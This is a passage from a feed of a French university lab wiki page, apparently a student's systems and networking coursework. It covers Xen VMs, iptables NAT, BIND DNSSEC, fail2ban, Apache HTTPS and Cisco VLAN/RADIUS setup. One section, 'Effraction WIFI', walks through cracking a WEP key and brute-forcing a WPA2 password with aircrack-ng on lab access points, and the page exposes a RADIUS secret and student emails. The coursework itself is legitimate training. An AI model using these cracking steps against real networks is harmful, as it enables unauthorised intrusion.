&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12225</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12225"/>
		<updated>2026-02-10T17:18:22Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
